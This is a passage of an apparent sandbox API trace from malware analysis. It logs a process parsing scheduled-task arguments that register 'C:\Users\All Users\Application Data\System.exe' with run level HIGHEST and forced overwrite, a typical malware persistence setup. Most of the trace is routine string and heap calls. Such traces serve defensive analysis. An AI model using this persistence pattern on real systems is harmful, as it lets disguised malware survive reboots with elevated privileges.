0x0 [0128.402] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.402] lstrlenW (lpString="end") returned 3 [0128.402] lstrlenW (lpString="end") returned 3 [0128.403] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.403] lstrlenW (lpString="tr") returned 2 [0128.403] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.403] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|end|") returned 5 [0128.403] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tr|") returned 4 [0128.403] lstrlenW (lpString="|end|") returned 5 [0128.403] lstrlenW (lpString="|tr|") returned 4 [0128.403] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0128.403] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.403] lstrlenW (lpString="showsid") returned 7 [0128.403] lstrlenW (lpString="showsid") returned 7 [0128.403] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.403] lstrlenW (lpString="tr") returned 2 [0128.403] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.403] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|showsid|") returned 9 [0128.403] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|tr|") returned 4 [0128.403] lstrlenW (lpString="|showsid|") returned 9 [0128.403] lstrlenW (lpString="|tr|") returned 4 [0128.403] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0128.403] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.403] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.403] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.403] lstrlenW (lpString="/tr") returned 3 [0128.403] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0128.403] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.403] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] lstrlenW (lpString="/tr") returned 3 [0128.404] GetProcessHeap () returned 0x10e05f40000 [0128.404] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x8) returned 0x10e05f44750 [0128.404] GetProcessHeap () returned 0x10e05f40000 [0128.404] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b680 [0128.404] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.404] lstrlenW (lpString="-/") returned 2 [0128.404] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.404] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.404] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\System.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\System.exe'" [0128.404] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.404] GetProcessHeap () returned 0x10e05f40000 [0128.404] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f44770 [0128.404] _memicmp (_Buf1=0x10e05f44770, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.404] GetProcessHeap () returned 0x10e05f40000 [0128.404] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0xe) returned 0x10e05f4aa40 [0128.404] GetProcessHeap () returned 0x10e05f40000 [0128.404] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x18) returned 0x10e05f4a9c0 [0128.404] _memicmp (_Buf1=0x10e05f4a9c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.404] GetProcessHeap () returned 0x10e05f40000 [0128.404] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x64) returned 0x10e05f43b40 [0128.404] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.404] lstrlenW (lpString="'C") returned 2 [0128.405] lstrlenW (lpString="-/") returned 2 [0128.405] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0128.405] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.405] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.405] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.405] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0128.405] GetProcessHeap () returned 0x10e05f40000 [0128.405] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x62) returned 0x10e05f43bb0 [0128.405] GetProcessHeap () returned 0x10e05f40000 [0128.405] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4bb00 [0128.405] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.405] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.405] lstrlenW (lpString="/rl") returned 3 [0128.405] lstrlenW (lpString="-/") returned 2 [0128.405] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.405] lstrlenW (lpString="?") returned 1 [0128.405] lstrlenW (lpString="?") returned 1 [0128.405] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.405] lstrlenW (lpString="rl") returned 2 [0128.405] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.405] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|?|") returned 3 [0128.405] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|rl|") returned 4 [0128.405] lstrlenW (lpString="|?|") returned 3 [0128.405] lstrlenW (lpString="|rl|") returned 4 [0128.405] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.405] lstrlenW (lpString="create") returned 6 [0128.405] lstrlenW (lpString="create") returned 6 [0128.405] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.405] lstrlenW (lpString="rl") returned 2 [0128.406] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.406] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|create|") returned 8 [0128.406] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|rl|") returned 4 [0128.406] lstrlenW (lpString="|create|") returned 8 [0128.406] lstrlenW (lpString="|rl|") returned 4 [0128.406] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0128.406] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.406] lstrlenW (lpString="delete") returned 6 [0128.406] lstrlenW (lpString="delete") returned 6 [0128.406] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.406] lstrlenW (lpString="rl") returned 2 [0128.406] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.406] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|delete|") returned 8 [0128.406] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|rl|") returned 4 [0128.406] lstrlenW (lpString="|delete|") returned 8 [0128.406] lstrlenW (lpString="|rl|") returned 4 [0128.406] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0128.406] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.406] lstrlenW (lpString="query") returned 5 [0128.406] lstrlenW (lpString="query") returned 5 [0128.406] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.406] lstrlenW (lpString="rl") returned 2 [0128.406] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.406] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|query|") returned 7 [0128.406] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|rl|") returned 4 [0128.406] lstrlenW (lpString="|query|") returned 7 [0128.407] lstrlenW (lpString="|rl|") returned 4 [0128.407] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0128.407] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.407] lstrlenW (lpString="change") returned 6 [0128.407] lstrlenW (lpString="change") returned 6 [0128.407] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.407] lstrlenW (lpString="rl") returned 2 [0128.407] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.407] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|change|") returned 8 [0128.407] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|rl|") returned 4 [0128.407] lstrlenW (lpString="|change|") returned 8 [0128.407] lstrlenW (lpString="|rl|") returned 4 [0128.407] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0128.407] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.407] lstrlenW (lpString="run") returned 3 [0128.407] lstrlenW (lpString="run") returned 3 [0128.407] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.407] lstrlenW (lpString="rl") returned 2 [0128.407] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.407] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|run|") returned 5 [0128.407] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|rl|") returned 4 [0128.407] lstrlenW (lpString="|run|") returned 5 [0128.407] lstrlenW (lpString="|rl|") returned 4 [0128.407] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0128.407] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.407] lstrlenW (lpString="end") returned 3 [0128.407] lstrlenW (lpString="end") returned 3 [0128.407] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.408] lstrlenW (lpString="rl") returned 2 [0128.408] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.408] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|end|") returned 5 [0128.408] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|rl|") returned 4 [0128.408] lstrlenW (lpString="|end|") returned 5 [0128.408] lstrlenW (lpString="|rl|") returned 4 [0128.408] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0128.408] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.408] lstrlenW (lpString="showsid") returned 7 [0128.408] lstrlenW (lpString="showsid") returned 7 [0128.408] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.408] lstrlenW (lpString="rl") returned 2 [0128.408] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.408] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|showsid|") returned 9 [0128.408] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|rl|") returned 4 [0128.408] lstrlenW (lpString="|showsid|") returned 9 [0128.408] lstrlenW (lpString="|rl|") returned 4 [0128.408] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0128.408] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.408] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.408] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.408] lstrlenW (lpString="/rl") returned 3 [0128.408] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0128.408] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.408] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.408] lstrlenW (lpString="/rl") returned 3 [0128.408] GetProcessHeap () returned 0x10e05f40000 [0128.408] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x8) returned 0x10e05f44790 [0128.409] GetProcessHeap () returned 0x10e05f40000 [0128.409] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b6b0 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] lstrlenW (lpString="HIGHEST") returned 7 [0128.409] lstrlenW (lpString="-/") returned 2 [0128.409] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] lstrlenW (lpString="HIGHEST") returned 7 [0128.409] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] lstrlenW (lpString="HIGHEST") returned 7 [0128.409] GetProcessHeap () returned 0x10e05f40000 [0128.409] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x10) returned 0x10e05f4aa60 [0128.409] GetProcessHeap () returned 0x10e05f40000 [0128.409] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b590 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.409] lstrlenW (lpString="/f") returned 2 [0128.409] lstrlenW (lpString="-/") returned 2 [0128.409] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.409] lstrlenW (lpString="?") returned 1 [0128.409] lstrlenW (lpString="?") returned 1 [0128.409] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.409] lstrlenW (lpString="f") returned 1 [0128.409] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.409] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|?|") returned 3 [0128.410] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|f|") returned 3 [0128.410] lstrlenW (lpString="|?|") returned 3 [0128.410] lstrlenW (lpString="|f|") returned 3 [0128.410] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0128.410] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.410] lstrlenW (lpString="create") returned 6 [0128.410] lstrlenW (lpString="create") returned 6 [0128.410] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.410] lstrlenW (lpString="f") returned 1 [0128.410] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.410] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|create|") returned 8 [0128.410] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|f|") returned 3 [0128.410] lstrlenW (lpString="|create|") returned 8 [0128.410] lstrlenW (lpString="|f|") returned 3 [0128.410] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0128.410] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.410] lstrlenW (lpString="delete") returned 6 [0128.410] lstrlenW (lpString="delete") returned 6 [0128.410] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.410] lstrlenW (lpString="f") returned 1 [0128.410] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.410] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|delete|") returned 8 [0128.410] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|f|") returned 3 [0128.410] lstrlenW (lpString="|delete|") returned 8 [0128.410] lstrlenW (lpString="|f|") returned 3 [0128.410] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0128.410] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.410] lstrlenW (lpString="query") returned 5 [0128.411] lstrlenW (lpString="query") returned 5 [0128.411] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.411] lstrlenW (lpString="f") returned 1 [0128.411] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.411] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|query|") returned 7 [0128.411] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|f|") returned 3 [0128.411] lstrlenW (lpString="|query|") returned 7 [0128.411] lstrlenW (lpString="|f|") returned 3 [0128.411] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0128.411] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.411] lstrlenW (lpString="change") returned 6 [0128.411] lstrlenW (lpString="change") returned 6 [0128.411] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.411] lstrlenW (lpString="f") returned 1 [0128.411] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.411] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|change|") returned 8 [0128.411] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|f|") returned 3 [0128.411] lstrlenW (lpString="|change|") returned 8 [0128.411] lstrlenW (lpString="|f|") returned 3 [0128.411] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0128.411] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.411] lstrlenW (lpString="run") returned 3 [0128.411] lstrlenW (lpString="run") returned 3 [0128.411] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.411] lstrlenW (lpString="f") returned 1 [0128.411] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.412] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|run|") returned 5 [0128.412] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|f|") returned 3 [0128.412] lstrlenW (lpString="|run|") returned 5 [0128.412] lstrlenW (lpString="|f|") returned 3 [0128.412] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0128.412] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.412] lstrlenW (lpString="end") returned 3 [0128.412] lstrlenW (lpString="end") returned 3 [0128.412] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.412] lstrlenW (lpString="f") returned 1 [0128.412] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.412] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|end|") returned 5 [0128.412] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|f|") returned 3 [0128.412] lstrlenW (lpString="|end|") returned 5 [0128.412] lstrlenW (lpString="|f|") returned 3 [0128.412] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0128.412] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.412] lstrlenW (lpString="showsid") returned 7 [0128.412] lstrlenW (lpString="showsid") returned 7 [0128.412] _memicmp (_Buf1=0x10e05f44350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.412] lstrlenW (lpString="f") returned 1 [0128.412] _memicmp (_Buf1=0x10e05f44390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0128.412] _vsnwprintf (in: _Buffer=0x10e05f446c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|showsid|") returned 9 [0128.412] _vsnwprintf (in: _Buffer=0x10e05f443b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23b4ff7b8 | out: _Buffer="|f|") returned 3 [0128.412] lstrlenW (lpString="|showsid|") returned 9 [0128.412] lstrlenW (lpString="|f|") returned 3 [0128.412] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0128.412] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.413] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.413] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.413] lstrlenW (lpString="/f") returned 2 [0128.413] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0128.413] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.413] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.413] lstrlenW (lpString="/f") returned 2 [0128.413] GetProcessHeap () returned 0x10e05f40000 [0128.413] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x6) returned 0x10e05f447b0 [0128.413] GetProcessHeap () returned 0x10e05f40000 [0128.413] RtlAllocateHeap (HeapHandle=0x10e05f40000, Flags=0xc, Size=0x20) returned 0x10e05f4b8c0 [0128.413] RtlRestoreLastWin32Error () returned 0x23b6a1000 [0128.413] GetProcessHeap () returned 0x10e05f40000 [0128.413] GetProcessHeap () returned 0x10e05f40000 [0128.413] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44370) returned 1 [0128.413] GetProcessHeap () returned 0x10e05f40000 [0128.413] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44370) returned 0x8 [0128.413] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44370) returned 1 [0128.413] GetProcessHeap () returned 0x10e05f40000 [0128.413] GetProcessHeap () returned 0x10e05f40000 [0128.413] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b920) returned 1 [0128.413] GetProcessHeap () returned 0x10e05f40000 [0128.413] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b920) returned 0x20 [0128.414] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b920) returned 1 [0128.414] GetProcessHeap () returned 0x10e05f40000 [0128.414] GetProcessHeap () returned 0x10e05f40000 [0128.414] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f446f0) returned 1 [0128.414] GetProcessHeap () returned 0x10e05f40000 [0128.414] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f446f0) returned 0xe [0128.414] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f446f0) returned 1 [0128.414] GetProcessHeap () returned 0x10e05f40000 [0128.414] GetProcessHeap () returned 0x10e05f40000 [0128.414] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b470) returned 1 [0128.414] GetProcessHeap () returned 0x10e05f40000 [0128.414] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b470) returned 0x20 [0128.415] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b470) returned 1 [0128.415] GetProcessHeap () returned 0x10e05f40000 [0128.415] GetProcessHeap () returned 0x10e05f40000 [0128.415] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44710) returned 1 [0128.416] GetProcessHeap () returned 0x10e05f40000 [0128.416] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44710) returned 0x8 [0128.416] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44710) returned 1 [0128.416] GetProcessHeap () returned 0x10e05f40000 [0128.416] GetProcessHeap () returned 0x10e05f40000 [0128.416] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b5f0) returned 1 [0128.416] GetProcessHeap () returned 0x10e05f40000 [0128.416] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b5f0) returned 0x20 [0128.416] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b5f0) returned 1 [0128.416] GetProcessHeap () returned 0x10e05f40000 [0128.416] GetProcessHeap () returned 0x10e05f40000 [0128.416] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44730) returned 1 [0128.416] GetProcessHeap () returned 0x10e05f40000 [0128.416] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44730) returned 0x10 [0128.416] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44730) returned 1 [0128.416] GetProcessHeap () returned 0x10e05f40000 [0128.417] GetProcessHeap () returned 0x10e05f40000 [0128.417] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b950) returned 1 [0128.417] GetProcessHeap () returned 0x10e05f40000 [0128.417] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b950) returned 0x20 [0128.417] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f4b950) returned 1 [0128.417] GetProcessHeap () returned 0x10e05f40000 [0128.417] GetProcessHeap () returned 0x10e05f40000 [0128.417] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f44750) returned 1 [0128.417] GetProcessHeap () returned 0x10e05f40000 [0128.417] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f44750) returned 0x8 [0128.417] RtlFreeHeap (HeapHandle=0x10e05f40000, Flags=0x0, BaseAddress=0x10e05f44750) returned 1 [0128.417] GetProcessHeap () returned 0x10e05f40000 [0128.417] GetProcessHeap () returned 0x10e05f40000 [0128.417] HeapValidate (hHeap=0x10e05f40000, dwFlags=0x0, lpMem=0x10e05f4b680) returned 1 [0128.417] GetProcessHeap () returned 0x10e05f40000 [0128.417] RtlSizeHeap (HeapHandle=0x10e05f40000, Flags=0x0, MemoryPointer=0x10e05f4b680) returned 0x20 [0128.418] 